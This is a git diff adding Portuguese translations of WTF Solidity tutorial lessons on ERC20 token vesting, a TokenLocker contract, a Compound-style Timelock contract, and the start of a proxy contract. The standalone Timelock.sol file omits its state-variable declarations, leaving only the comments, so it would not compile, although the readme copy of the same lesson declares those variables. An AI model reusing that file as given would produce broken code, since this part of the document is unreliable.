beneficiary = beneficiaryAddress; + start = block.timestamp; + duration = durationSeconds; + } + + /** + * @dev O beneficiário retira os tokens liberados. + * Chama a função vestedAmount() para calcular a quantidade de tokens a serem retirados e transfere esses tokens ao beneficiário. + * Emite o evento {ERC20Released}. + */ + function release(address token) public { + // Calcula a quantidade de tokens a serem retirados usando a função vestedAmount() + uint256 releasable = vestedAmount(token, uint256(block.timestamp)) - erc20Released[token]; + // Atualiza a quantidade de tokens liberados + erc20Released[token] += releasable; + // Transfere os tokens para o beneficiário + emit ERC20Released(token, releasable); + IERC20(token).transfer(beneficiary, releasable); + } + + /** + * @dev Calcula a quantidade de tokens liberados com base na fórmula de liberação linear. Os desenvolvedores podem personalizar essa função. + * @param token: Endereço do token + * @param timestamp: Timestamp de consulta + */ + function vestedAmount(address token, uint256 timestamp) public view returns (uint256) { + // Calcula o total de tokens recebidos pelo contrato (saldo atual + liberados) + uint256 totalAllocation = IERC20(token).balanceOf(address(this)) + erc20Released[token]; + // Calcula a quantidade de tokens liberados com base na fórmula de liberação linear + if (timestamp < start) { + return 0; + } else if (timestamp > start + duration) { + return totalAllocation; + } else { + return (totalAllocation * (timestamp - start)) / duration; + } + } +``` + +## Demonstração no `Remix` + +### 1. Implemente o contrato `ERC20` da [Aula 31](../31_ERC20/readme.md) e crie `10000` tokens para si mesmo. + +### 2. Implemente o contrato `TokenVesting` de liberação linear, com você mesmo como beneficiário e um período de titularidade de `100` segundos. + +### 3. Transfira `10000` tokens `ERC20` para o contrato de liberação linear. + +### 4. Chame a função `release()` para retirar os tokens. + +## Conclusão + +O desbloqueio em massa de tokens pode gerar uma grande pressão de venda nos preços, enquanto os termos de titularidade de tokens podem reduzir essa pressão e evitar que as equipes e investidores saiam muito cedo. Nesta aula, apresentamos os termos de titularidade de tokens e escrevemos um contrato para liberação linear de tokens ERC20. + diff --git a/Languages/pt-br/44_TokenLocker/TokenLocker.sol b/Languages/pt-br/44_TokenLocker/TokenLocker.sol new file mode 100644 index 000000000..48fe60c6a --- /dev/null +++ b/Languages/pt-br/44_TokenLocker/TokenLocker.sol @@ -0,0 +1,59 @@ +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.0; + +import "../31_ERC20/IERC20.sol"; +import "../31_ERC20/ERC20.sol"; + +/** + * @dev Contrato de bloqueio de tempo para tokens ERC20. O beneficiário só pode retirar os tokens após um período de bloqueio. + */ +contract TokenLocker { + + // Eventos + event TokenLockStart(address indexed beneficiary, address indexed token, uint256 startTime, uint256 lockTime); + event Release(address indexed beneficiary, address indexed token, uint256 releaseTime, uint256 amount); + + // Contrato de token ERC20 bloqueado + IERC20 public immutable token; + // Endereço do beneficiário + address public immutable beneficiary; + // Tempo de bloqueio (segundos) + uint256 public immutable lockTime; + // Tempo de início de bloqueio (em segundos) + uint256 public immutable startTime; + + /** + * @dev Deploy the time lock contract, initialize the token contract address, beneficiary address, and lock time. + * @param token_: ERC20 token contract to be locked + * @param beneficiary_: Beneficiary address + * @param lockTime_: Lock time (in seconds) + */ + constructor( + IERC20 token_, + address beneficiary_, + uint256 lockTime_ + ) { + require(lockTime_ > 0, "TokenLock: lock time should greater than 0"); + token = token_; + beneficiary = beneficiary_; + lockTime = lockTime_; + startTime = block.timestamp; + + emit TokenLockStart(beneficiary_, address(token_), block.timestamp, lockTime_); + } + + /** + * @dev Após o período de bloqueio, os tokens serão liberados para o beneficiário. + */ + function release() public { + require(block.timestamp >= startTime+lockTime, "TokenLock: current time is before release time"); + + uint256 amount = token.balanceOf(address(this)); + require(amount > 0, "TokenLock: no tokens to release"); + + token.transfer(beneficiary, amount); + + emit Release(msg.sender, address(token), block.timestamp, amount); + } +} \ No newline at end of file diff --git a/Languages/pt-br/44_TokenLocker/img/44-1.webp b/Languages/pt-br/44_TokenLocker/img/44-1.webp new file mode 100644 index 000000000..7e2259055 Binary files /dev/null and b/Languages/pt-br/44_TokenLocker/img/44-1.webp differ diff --git a/Languages/pt-br/44_TokenLocker/img/44-2.jpg b/Languages/pt-br/44_TokenLocker/img/44-2.jpg new file mode 100644 index 000000000..e9957d06b Binary files /dev/null and b/Languages/pt-br/44_TokenLocker/img/44-2.jpg differ diff --git a/Languages/pt-br/44_TokenLocker/img/44-3.jpg b/Languages/pt-br/44_TokenLocker/img/44-3.jpg new file mode 100644 index 000000000..042ebcf90 Binary files /dev/null and b/Languages/pt-br/44_TokenLocker/img/44-3.jpg differ diff --git a/Languages/pt-br/44_TokenLocker/img/44-4.jpg b/Languages/pt-br/44_TokenLocker/img/44-4.jpg new file mode 100644 index 000000000..5fcfd435d Binary files /dev/null and b/Languages/pt-br/44_TokenLocker/img/44-4.jpg differ diff --git a/Languages/pt-br/44_TokenLocker/img/44-5.jpg b/Languages/pt-br/44_TokenLocker/img/44-5.jpg new file mode 100644 index 000000000..6e12870a4 Binary files /dev/null and b/Languages/pt-br/44_TokenLocker/img/44-5.jpg differ diff --git a/Languages/pt-br/44_TokenLocker/img/44-6.jpg b/Languages/pt-br/44_TokenLocker/img/44-6.jpg new file mode 100644 index 000000000..ae968dfec Binary files /dev/null and b/Languages/pt-br/44_TokenLocker/img/44-6.jpg differ diff --git a/Languages/pt-br/44_TokenLocker/readme.md b/Languages/pt-br/44_TokenLocker/readme.md new file mode 100644 index 000000000..88782867a --- /dev/null +++ b/Languages/pt-br/44_TokenLocker/readme.md @@ -0,0 +1,150 @@ +--- +title: 44. Token Locker +tags: + - solidity + - aplicação + - ERC20 + +--- + +# WTF Solidity Simplified: 44. Token Locker + +Recentemente, tenho estudado solidity novamente para revisar os detalhes e escrever um "WTF Solidity Simplified" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 aulas por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk)|[Grupo do WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +Nesta aula, vamos falar sobre o que são tokens de provedores de liquidez (LP tokens), por que é importante bloquear a liquidez e como escrever um contrato simples de bloqueio de tokens ERC20. + +## Token Locker + +![Token Locker](./img/44-1.webp) + +O Token Locker é um contrato de bloqueio de tempo simples que permite bloquear tokens em um contrato por um determinado período de tempo. Após o término do período de bloqueio, o beneficiário pode resgatar os tokens bloqueados. O Token Locker é geralmente usado para bloquear tokens de provedores de liquidez (LP tokens). + +### O que são tokens LP? + +No blockchain, os usuários negociam tokens em exchanges descentralizadas (DEX), como a Uniswap. Diferentemente das exchanges centralizadas (CEX), as DEXs usam um mecanismo de provedor de liquidez automatizado (AMM) que requer que os usuários ou projetos forneçam pools de liquidez para permitir que outros usuários comprem e vendam instantaneamente. Simplificando, os usuários/projetos precisam depositar um par de tokens (como ETH/DAI) em um pool de liquidez e, em troca, a DEX emite tokens de provedor de liquidez (LP tokens) para eles, provando que eles depositaram uma determinada quantidade de tokens e permitindo que eles recebam taxas. + +### Por que bloquear a liquidez? + +Se um projeto retirar repentinamente os tokens LP do pool de liquidez, os investidores não poderão mais resgatar seus tokens, que se tornarão inúteis. Esse tipo de ação é conhecido como "rug-pull" e, somente em 2021, golpes de "rug-pull" enganaram os investidores em mais de US$ 2,8 bilhões em criptomoedas. + +No entanto, se os tokens LP estiverem bloqueados em um contrato de Token Locker, o projeto não poderá retirá-los do pool de liquidez antes do término do período de bloqueio, evitando assim o "rug-pull". Portanto, o Token Locker pode impedir que o projeto saia prematuramente (mas cuidado com o risco de o projeto sair após o término do período de bloqueio). + +## Contrato de Token Locker + +A seguir, vamos escrever um contrato TokenLocker para bloquear tokens ERC20. A lógica do contrato é simples: + +- O desenvolvedor define o endereço do token, o endereço do beneficiário e o tempo de bloqueio ao implantar o contrato. +- O desenvolvedor transfere os tokens para o contrato TokenLocker. +- Após o término do período de bloqueio, o beneficiário pode resgatar os tokens do contrato. + +### Eventos + +O contrato TokenLocker possui dois eventos. + +- `TokenLockStart`: evento de início do bloqueio, acionado ao implantar o contrato, registra o endereço do beneficiário, o endereço do token, o horário de início do bloqueio e o horário de término. +- `Release`: evento de liberação de tokens, acionado quando o beneficiário resgata os tokens, registra o endereço do beneficiário, o endereço do token, o horário de liberação e a quantidade de tokens. + +```solidity + // Eventos + event TokenLockStart(address indexed beneficiary, address indexed token, uint256 startTime, uint256 lockTime); + event Release(address indexed beneficiary, address indexed token, uint256 releaseTime, uint256 amount); +``` + +### Variáveis de estado + +O contrato TokenLocker possui quatro variáveis de estado. + +- `token`: endereço do token bloqueado. +- `beneficiary`: endereço do beneficiário. +- `locktime`: tempo de bloqueio (em segundos). +- `startTime`: timestamp de início do bloqueio (em segundos). + +```solidity + // Contrato ERC20 do token bloqueado + IERC20 public immutable token; + // Endereço do beneficiário + address public immutable beneficiary; + // Tempo de bloqueio (em segundos) + uint256 public immutable lockTime; + // Timestamp de início do bloqueio (em segundos) + uint256 public immutable startTime; +``` + +### Funções + +O contrato TokenLocker possui duas funções. + +- Construtor: inicializa o contrato com o endereço do token, o endereço do beneficiário e o tempo de bloqueio. +- `release()`: após o término do período de bloqueio, transfere os tokens para o beneficiário. O beneficiário precisa chamar a função `release()` para resgatar os tokens. + +```solidity + /** + * @dev Implanta o contrato de bloqueio de tokens, inicializando o endereço do token, o endereço do beneficiário e o tempo de bloqueio. + * @param token_: contrato ERC20 do token bloqueado + * @param beneficiary_: endereço do beneficiário + * @param lockTime_: tempo de bloqueio (em segundos) + */ + constructor( + IERC20 token_, + address beneficiary_, + uint256 lockTime_ + ) { + require(lockTime_ > 0, "TokenLock: lock time should greater than 0"); + token = token_; + beneficiary = beneficiary_; + lockTime = lockTime_; + startTime = block.timestamp; + + emit TokenLockStart(beneficiary_, address(token_), block.timestamp, lockTime_); + } + + /** + * @dev Após o término do período de bloqueio, transfere os tokens para o beneficiário. + */ + function release() public { + require(block.timestamp >= startTime+lockTime, "TokenLock: current time is before release time"); + + uint256 amount = token.balanceOf(address(this)); + require(amount > 0, "TokenLock: no tokens to release"); + + token.transfer(beneficiary, amount); + + emit Release(msg.sender, address(token), block.timestamp, amount); + } +``` + +## Demonstração no Remix + +### 1. Implante o contrato ERC20 do [tutorial 31](../31_ERC20/readme.md) e mint 10000 tokens para si mesmo. + +![Demonstração no Remix](./img/44-2.jpg) + +### 2. Implante o contrato TokenLocker com o endereço do token sendo o endereço do contrato ERC20, o beneficiário sendo você mesmo e o período de bloqueio sendo 180 segundos. + +![Demonstração no Remix](./img/44-3.jpg) + +### 3. Transfira 10000 tokens para o contrato. + +![Demonstração no Remix](./img/44-4.jpg) + +### 4. Tente chamar a função `release()` durante o período de bloqueio de 180 segundos e observe que não é possível resgatar os tokens. + +![Demonstração no Remix](./img/44-5.jpg) + +### 5. Após o término do período de bloqueio, chame a função `release()` e observe que os tokens são resgatados com sucesso. + +![Demonstração no Remix](./img/44-6.jpg) + +## Conclusão + +Nesta aula, falamos sobre o contrato Token Locker. Os projetos geralmente fornecem liquidez em DEXs para que os investidores possam negociar. Se o projeto retirar os tokens LP do pool de liquidez repentinamente, ocorrerá um "rug-pull". No entanto, bloquear os tokens LP em um contrato Token Locker pode evitar essa situação. +. + diff --git a/Languages/pt-br/45_Timelock/Timelock.sol b/Languages/pt-br/45_Timelock/Timelock.sol new file mode 100644 index 000000000..5522da2e3 --- /dev/null +++ b/Languages/pt-br/45_Timelock/Timelock.sol @@ -0,0 +1,143 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Timelock{ + // Eventos + // Evento de cancelamento de transação + event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint executeTime); + // Evento de execução de transação + event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint executeTime); + // Evento de criação e entrada de transação na fila + event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint executeTime); + // Evento para alterar o endereço do administrador + event NewAdmin(address indexed newAdmin); + + // Variável de estado + // Endereço do administrador + // Prazo de validade da transação, transações expiradas serão canceladas + // Tempo de bloqueio da transação (em segundos) + // txHash para bool, registra todas as transações na fila de bloqueio de tempo + + // modificador onlyOwner + modifier onlyOwner() { + require(msg.sender == admin, "Timelock: Caller not admin"); + _; + } + + // modificador onlyTimelock + modifier onlyTimelock() { + require(msg.sender == address(this), "Timelock: Caller not Timelock"); + _; + } + + /** + * @dev Construtor, inicializa o tempo de bloqueio da transação (em segundos) e o endereço do administrador + */ + constructor(uint delay_) { + delay = delay_; + admin = msg.sender; + } + + /** + * @dev Altera o endereço do administrador, o chamador deve ser o contrato Timelock. + */ + function changeAdmin(address newAdmin) public onlyTimelock { + admin = newAdmin; + + emit NewAdmin(newAdmin); + } + + /** + * @dev Cria uma transação e a adiciona à fila de bloqueio de tempo. + * @param target: Endereço do contrato de destino + * @param value: Quantidade de eth a ser enviada + * @param signature: Assinatura da função a ser chamada + * @param data: Dados da chamada, contendo os parâmetros + * @param executeTime: Timestamp da blockchain para a execução da transação + * + * Requisito: executeTime deve ser maior que o timestamp atual da blockchain + delay + */ + function queueTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime) public onlyOwner returns (bytes32) { + // Verificação: O tempo de execução da transação atende ao tempo de bloqueio + require(executeTime >= getBlockTimestamp() + delay, "Timelock::queueTransaction: Estimated execution block must satisfy delay."); + // Calcular o identificador único da transação: o hash de um conjunto de coisas + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // Adicionar transação à fila + queuedTransactions[txHash] = true; + + emit QueueTransaction(txHash, target, value, signature, data, executeTime); + return txHash; + } + + /** + * @dev Cancelar uma transação específica. + * + * Requisitos: A transação está na fila de bloqueio de tempo. + */ + function cancelTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime) public onlyOwner{ + // Calcular o identificador único da transação: o hash de um conjunto de coisas + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // Verificando: a transação está na fila de bloqueio de tempo + require(queuedTransactions[txHash], "Timelock::cancelTransaction: Transaction hasn't been queued."); + // Remover a transação da fila + queuedTransactions[txHash] = false; + + emit CancelTransaction(txHash, target, value, signature, data, executeTime); + } + + /** + * @dev Executa uma transação específica. + * + * Requisitos: + * 1. A transação está na fila de bloqueio de tempo. + * 2. Chegou a hora de executar a transação. + * 3. A transação não está expirada. + */ + function executeTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime) public payable onlyOwner returns (bytes memory) { + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // Verificando se a transação está na fila de bloqueio de tempo + require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); + // Verificação: Verificar o tempo de execução da transação + require(getBlockTimestamp() >= executeTime, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); + // Verificar: A transação não expirou + require(getBlockTimestamp() <= executeTime + GRACE_PERIOD, "Timelock::executeTransaction: Transaction is stale."); + // Remover a transação da fila + queuedTransactions[txHash] = false; + + // Obter dados de chamada + bytes memory callData; + if (bytes(signature).length == 0) { + callData = data; + } else { +// Aqui, se o método encodeWithSignature for usado para chamar a função do administrador, por favor, altere o tipo do parâmetro 'data' para 'address'. Caso contrário, o valor do administrador será alterado para um valor semelhante a "0x0000000000000000000000000000000000000020", onde 0x20 representa o comprimento do array de bytes. + callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); + } + // Usando call para executar uma transação + (bool success, bytes memory returnData) = target.call{value: value}(callData); + require(success, "Timelock::executeTransaction: Transaction execution reverted."); + + emit ExecuteTransaction(txHash, target, value, signature, data, executeTime); + + return returnData; + } + + /** + * @dev Obter o timestamp atual da blockchain + */ + function getBlockTimestamp() public view returns (uint) { + return block.timestamp; + } + + /** + * @dev Cria um identificador de transação juntando um monte de coisas + */ + function getTxHash( + address target, + uint value, + string memory signature, + bytes memory data, + uint executeTime + ) public pure returns (bytes32) { + return keccak256(abi.encode(target, value, signature, data, executeTime)); + } +} diff --git a/Languages/pt-br/45_Timelock/img/45-1.jpeg b/Languages/pt-br/45_Timelock/img/45-1.jpeg new file mode 100644 index 000000000..4bdacf647 Binary files /dev/null and b/Languages/pt-br/45_Timelock/img/45-1.jpeg differ diff --git a/Languages/pt-br/45_Timelock/img/45-1.jpg b/Languages/pt-br/45_Timelock/img/45-1.jpg new file mode 100644 index 000000000..5f0b4f4e8 Binary files /dev/null and b/Languages/pt-br/45_Timelock/img/45-1.jpg differ diff --git a/Languages/pt-br/45_Timelock/img/45-2.jpg b/Languages/pt-br/45_Timelock/img/45-2.jpg new file mode 100644 index 000000000..141231da2 Binary files /dev/null and b/Languages/pt-br/45_Timelock/img/45-2.jpg differ diff --git a/Languages/pt-br/45_Timelock/img/45-3.jpg b/Languages/pt-br/45_Timelock/img/45-3.jpg new file mode 100644 index 000000000..3be2018cc Binary files /dev/null and b/Languages/pt-br/45_Timelock/img/45-3.jpg differ diff --git a/Languages/pt-br/45_Timelock/img/45-4.jpg b/Languages/pt-br/45_Timelock/img/45-4.jpg new file mode 100644 index 000000000..b75a42058 Binary files /dev/null and b/Languages/pt-br/45_Timelock/img/45-4.jpg differ diff --git a/Languages/pt-br/45_Timelock/img/45-5.jpg b/Languages/pt-br/45_Timelock/img/45-5.jpg new file mode 100644 index 000000000..477b95b4b Binary files /dev/null and b/Languages/pt-br/45_Timelock/img/45-5.jpg differ diff --git a/Languages/pt-br/45_Timelock/img/45-6.jpg b/Languages/pt-br/45_Timelock/img/45-6.jpg new file mode 100644 index 000000000..5acc6a70a Binary files /dev/null and b/Languages/pt-br/45_Timelock/img/45-6.jpg differ diff --git a/Languages/pt-br/45_Timelock/img/45-7.jpg b/Languages/pt-br/45_Timelock/img/45-7.jpg new file mode 100644 index 000000000..4d7f8b4f7 Binary files /dev/null and b/Languages/pt-br/45_Timelock/img/45-7.jpg differ diff --git a/Languages/pt-br/45_Timelock/readme.md b/Languages/pt-br/45_Timelock/readme.md new file mode 100644 index 000000000..734454f5d --- /dev/null +++ b/Languages/pt-br/45_Timelock/readme.md @@ -0,0 +1,269 @@ +--- +title: 45. Time Lock +tags: + - solidity + - aplicação + +--- + +# WTF Solidity Introdução Simples: 45. Time Lock + +Recentemente, tenho estudado solidity novamente para revisar os detalhes e escrever um "WTF Solidity Introdução Simples" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 aulas por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk)|[Grupo WeChat](https://wechat.wtf.academy)|[Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +Nesta aula, vamos falar sobre time lock (bloqueio de tempo) e contratos de time lock. O código é uma simplificação do contrato Timelock do Compound [Timelock.sol](https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol). + +## Time Lock + +![Time Lock](./img/45-1.jpeg) + +Time lock (bloqueio de tempo) é um mecanismo de bloqueio comum em cofres bancários e outros recipientes de alta segurança. É um tipo de temporizador projetado para evitar que um cofre ou depósito seja aberto antes de um determinado tempo, mesmo que a pessoa que está abrindo o cofre conheça a senha correta. + +Na blockchain, o time lock é amplamente utilizado em DeFi e DAOs. É um trecho de código que pode bloquear certas funcionalidades de um smart contract por um determinado período de tempo. Isso pode melhorar significativamente a segurança de um smart contract. Por exemplo, se um hacker invadir uma carteira multi-assinatura do Uniswap e tentar retirar os fundos, mas o contrato do cofre tiver um time lock de 2 dias, o hacker terá que esperar 2 dias desde a criação da transação até a retirada dos fundos. Durante esse período, a equipe do projeto pode tomar medidas para lidar com a situação e os investidores podem vender seus tokens antecipadamente para minimizar as perdas. + +## Contrato de Time Lock + +A seguir, vamos apresentar o contrato Timelock. A lógica do contrato não é complexa: + +- Ao criar o contrato Timelock, o projeto pode definir o período de bloqueio e definir a si mesmo como o administrador do contrato. + +- O time lock tem três principais funcionalidades: + - Criar uma transação e adicioná-la à fila do time lock. + - Executar uma transação após o período de bloqueio. + - Cancelar uma ou mais transações na fila do time lock. + +- Geralmente, o contrato de time lock é definido como o administrador de contratos importantes, como o contrato do cofre, e é usado para operá-los. +- O administrador do contrato de time lock geralmente é uma carteira multi-assinatura do projeto, garantindo a descentralização. + +### Eventos +O contrato Timelock possui quatro eventos. +- `QueueTransaction`: evento disparado quando uma transação é criada e adicionada à fila do time lock. +- `ExecuteTransaction`: evento disparado quando uma transação é executada após o período de bloqueio. +- `CancelTransaction`: evento disparado quando uma transação é cancelada. +- `NewAdmin`: evento disparado quando o endereço do administrador é alterado. + +```solidity + // Eventos + // Evento disparado quando uma transação é cancelada + event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint executeTime); + // Evento disparado quando uma transação é executada + event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint executeTime); + // Evento disparado quando uma transação é criada e adicionada à fila + event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint executeTime); + // Evento disparado quando o endereço do administrador é alterado + event NewAdmin(address indexed newAdmin); +``` + +### Variáveis de Estado +O contrato Timelock possui quatro variáveis de estado. +- `admin`: endereço do administrador. +- `delay`: período de bloqueio. +- `GRACE_PERIOD`: tempo de expiração da transação. Se a transação estiver pronta para ser executada, mas não for executada dentro do `GRACE_PERIOD`, ela será considerada expirada. +- `queuedTransactions`: mapeamento do hash da transação para um booleano, indicando se a transação está na fila do time lock. + +```solidity + // Variáveis de Estado + address public admin; // endereço do administrador + uint public constant GRACE_PERIOD = 7 days; // tempo de expiração da transação, transações expiradas são canceladas + uint public delay; // período de bloqueio (em segundos) + mapping (bytes32 => bool) public queuedTransactions; // mapeamento do hash da transação para um booleano, indicando se a transação está na fila do time lock +``` + +### Modificadores +O contrato Timelock possui dois modificadores. +- `onlyOwner()`: o contrato só pode ser executado pelo administrador. +- `onlyTimelock()`: o contrato só pode ser executado pelo contrato de time lock. + +```solidity + // Modificador onlyOwner + modifier onlyOwner() { + require(msg.sender == admin, "Timelock: Caller not admin"); + _; + } + + // Modificador onlyTimelock + modifier onlyTimelock() { + require(msg.sender == address(this), "Timelock: Caller not Timelock"); + _; + } +``` + +### Funções +O contrato Timelock possui sete funções. +- Construtor: inicializa o período de bloqueio (em segundos) e o endereço do administrador. +- `queueTransaction()`: cria uma transação e a adiciona à fila do time lock. Os parâmetros são complexos porque descrevem uma transação completa: + - `target`: endereço do contrato de destino. + - `value`: quantidade de ETH a ser enviada. + - `signature`: assinatura da função a ser chamada. + - `data`: dados da chamada da transação. + - `executeTime`: timestamp da blockchain para a execução da transação. + + Ao chamar essa função, é necessário garantir que o tempo de execução da transação `executeTime` seja maior que o timestamp atual da blockchain mais o período de bloqueio `delay`. O hash dos parâmetros é usado como identificador exclusivo da transação, calculado pela função `getTxHash()`. A transação adicionada à fila é atualizada na variável `queuedTransactions` e o evento `QueueTransaction` é emitido. +- `executeTransaction()`: executa uma transação. Os parâmetros são os mesmos da função `queueTransaction()`. A transação a ser executada deve estar na fila do time lock, ter atingido o tempo de execução e não ter expirado. A função utiliza a função de baixo nível `call` do Solidity, que foi explicada na [aula 22](../22_Call/readme.md). +- `cancelTransaction()`: cancela uma transação. Os parâmetros são os mesmos da função `queueTransaction()`. A transação a ser cancelada deve estar na fila e é atualizada na variável `queuedTransactions` e o evento `CancelTransaction` é emitido. +- `changeAdmin()`: altera o endereço do administrador, só pode ser chamada pelo contrato de time lock. +- `getBlockTimestamp()`: obtém o timestamp atual da blockchain. +- `getTxHash()`: retorna o identificador da transação, que é o hash dos parâmetros da transação. + +```solidity + /** + * @dev Construtor, inicializa o período de bloqueio (em segundos) e o endereço do administrador. + */ + constructor(uint delay_) { + delay = delay_; + admin = msg.sender; + } + + /** + * @dev Altera o endereço do administrador, só pode ser chamada pelo contrato de time lock. + */ + function changeAdmin(address newAdmin) public onlyTimelock { + admin = newAdmin; + + emit NewAdmin(newAdmin); + } + + /** + * @dev Cria uma transação e a adiciona à fila do time lock. + * @param target: endereço do contrato de destino. + * @param value: quantidade de ETH a ser enviada. + * @param signature: assinatura da função a ser chamada. + * @param data: dados da chamada da transação. + * @param executeTime: timestamp da blockchain para a execução da transação. + * + * Requer: executeTime seja maior que o timestamp atual da blockchain mais o período de bloqueio. + */ + function queueTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime) public onlyOwner returns (bytes32) { + // Requer: o tempo de execução da transação seja maior que o período de bloqueio + require(executeTime >= getBlockTimestamp() + delay, "Timelock::queueTransaction: Estimated execution block must satisfy delay."); + // Calcula o identificador exclusivo da transação: hash dos parâmetros + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // Adiciona a transação à fila + queuedTransactions[txHash] = true; + + emit QueueTransaction(txHash, target, value, signature, data, executeTime); + return txHash; + } + + /** + * @dev Cancela uma transação específica. + * + * Requer: a transação esteja na fila do time lock. + */ + function cancelTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime) public onlyOwner{ + // Calcula o identificador exclusivo da transação: hash dos parâmetros + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // Requer: a transação esteja na fila do time lock + require(queuedTransactions[txHash], "Timelock::cancelTransaction: Transaction hasn't been queued."); + // Remove a transação da fila + queuedTransactions[txHash] = false; + + emit CancelTransaction(txHash, target, value, signature, data, executeTime); + } + + /** + * @dev Executa uma transação específica. + * + * Requer: + * 1. A transação esteja na fila do time lock. + * 2. Tenha atingido o tempo de execução. + * 3. Não tenha expirado. + */ + function executeTransaction(address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime) public payable onlyOwner returns (bytes memory) { + bytes32 txHash = getTxHash(target, value, signature, data, executeTime); + // Requer: a transação esteja na fila do time lock + require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); + // Requer: tenha atingido o tempo de execução + require(getBlockTimestamp() >= executeTime, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); + // Requer: não tenha expirado + require(getBlockTimestamp() <= executeTime + GRACE_PERIOD, "Timelock::executeTransaction: Transaction is stale."); + // Remove a transação da fila + queuedTransactions[txHash] = false; + + // Obtém os dados da chamada + bytes memory callData; + if (bytes(signature).length == 0) { + callData = data; + } else { + callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); + } + // Executa a transação usando call + (bool success, bytes memory returnData) = target.call{value: value}(callData); + require(success, "Timelock::executeTransaction: Transaction execution reverted."); + + emit ExecuteTransaction(txHash, target, value, signature, data, executeTime); + + return returnData; + } + + /** + * @dev Obtém o timestamp atual da blockchain. + */ + function getBlockTimestamp() public view returns (uint) { + return block.timestamp; + } + + /** + * @dev Retorna o identificador da transação, que é o hash dos parâmetros da transação. + */ + function getTxHash( + address target, + uint value, + string memory signature, + bytes memory data, + uint executeTime + ) public pure returns (bytes32) { + return keccak256(abi.encode(target, value, signature, data, executeTime)); + } +``` + +## Demonstração no Remix +### 1. Implante o contrato Timelock com um período de bloqueio de 120 segundos. + +![Demonstração no Remix](./img/45-1.jpg) + +### 2. Chame diretamente a função `changeAdmin()` e você receberá um erro. + +![Demonstração no Remix](./img/45-2.jpg) + +### 3. Construa uma transação para alterar o administrador. +Para construir a transação, você precisa preencher os seguintes parâmetros: +address target, uint256 value, string memory signature, bytes memory data, uint256 executeTime +- `target`: como estamos chamando uma função do próprio contrato Timelock, preencha com o endereço do contrato. +- `value`: não é necessário enviar ETH, então preencha com `0`. +- `signature`: a assinatura da função `changeAdmin()` é `"changeAdmin(address)"`. +- `data`: preencha com os parâmetros da função, que é o endereço do novo administrador. No entanto, você precisa preencher o endereço com 32 bytes de dados para atender ao [padrão de codificação ABI do Ethereum](../27_ABIEncode/readme.md). Você pode usar o site [hashex](https://abi.hashex.org/) para codificar os parâmetros. Exemplo: + ```solidity + Endereço antes da codificação: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 + Endereço após a codificação: 0x000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb2 + ``` +- `executeTime`: obtenha o timestamp atual da blockchain chamando a função `getBlockTimestamp()` e adicione 150 segundos. +![Demonstração no Remix](./img/45-3.jpg) + +### 4. Chame a função `queueTransaction()` para adicionar a transação à fila do time lock. + +![Demonstração no Remix](./img/45-4.jpg) + +### 5. Chame a função `executeTransaction()` durante o período de bloqueio e a chamada falhará. + +![Demonstração no Remix](./img/45-5.jpg) + +### 6. Chame a função `executeTransaction()` após o período de bloqueio e a chamada será bem-sucedida. + +![Demonstração no Remix](./img/45-6.jpg) + +### 7. Verifique o novo endereço do `admin`. + +![Demonstração no Remix](./img/45-7.jpg) + +## Conclusão + +O time lock pode bloquear certas funcionalidades de um smart contract por um determinado período de tempo, reduzindo significativamente as chances de um projeto fazer um "rug pull" e aumentando a segurança contra ataques de hackers. É amplamente utilizado em DeFi e DAOs, incluindo Uniswap e Compound. Os projetos em que você investe utilizam time lock? + diff --git a/Languages/pt-br/46_ProxyContract/ProxyContract.sol b/Languages/pt-br/46_ProxyContract/ProxyContract.sol new file mode 100644 index 000000000..e7358394d --- /dev/null +++ b/Languages/pt-br/46_ProxyContract/ProxyContract.sol @@ -0,0 +1,92 @@ +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.21; + +/** + * @dev Todas as chamadas ao contrato Proxy são delegadas para a execução em outro contrato usando o opcode `delegatecall`. Este último é chamado de contrato lógico (Implementation). + 